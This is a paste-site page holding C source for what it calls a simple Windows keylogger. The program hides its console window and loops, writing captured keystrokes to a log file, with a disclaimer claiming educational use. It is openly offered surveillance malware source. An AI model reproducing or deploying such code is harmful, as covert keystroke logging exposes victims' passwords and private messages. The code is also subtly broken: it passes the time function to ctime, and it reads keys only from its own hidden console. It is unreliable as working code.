Facebook
From Ivory Mockingbird, 5 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 186
  1. /*
  2.     Simple WINDOWS keylogger by jkrix 2013.
  3.     User may distribute and modify source code but MUST keep this top commented section in the source code!
  4.  
  5.     Very important note:
  6.  
  7.     To be used for educational use and not for malicious tasks!
  8.     I will NOT be held responsible for anything silly you may do with this!
  9. */
  10. #include <stdio.h>
  11. #include <conio.h>
  12. #include <windows.h>
  13. #include <time.h>
  14.  
  15. #define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
  16.  
  17. int main(){
  18.     char capture;
  19.     FILE *file;
  20.  
  21.     // Time stuff.
  22.     time_t t;
  23.     t = time(NULL);
  24.     // Hide the window
  25.     HWND window;
  26.     AllocConsole();
  27.     window=FindWindowA("ConsoleWindowClass",NULL);
  28.     ShowWindow(window,0);
  29.  
  30.     file = fopen(PATH, "a+");
  31.     fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
  32.  
  33.     while(1)
  34.     {
  35.         Sleep(20); // To make sure this program doesn't steal all resources.
  36.         if (kbhit())
  37.         {
  38.             capture = getch();
  39.             // Just add in some helper strings here to the file, feel free to modify these to your needs.
  40.             switch ((int)capture){
  41.                 case ' ': // Space key...obviously.
  42.                     fprintf(file, " ");
  43.                     break;
  44.                 case 0x09: // Tab key.
  45.                     fprintf(file, "[TAB]");
  46.                     break;
  47.                 case 0x0D: // Enter key.
  48.                     fprintf(file, "[ENTER]");
  49.                     break;
  50.                 case 0x1B: // Escape key.
  51.                     fprintf(file, "[ESC]");
  52.                     break;
  53.                 case 0x08: // Backspace key.
  54.                     fprintf(file, "[BACKSPACE]");
  55.                     break;
  56.                 default:
  57.                     fputc(capture,file); // Put any other inputted key into the file.
  58.             }
  59.  
  60.             if ( (int) capture == 27 ){  // The escape key. You can change this to anything you want.
  61.                 fclose(file);
  62.                 return 0;
  63.             }
  64.         }
  65.     }
  66. }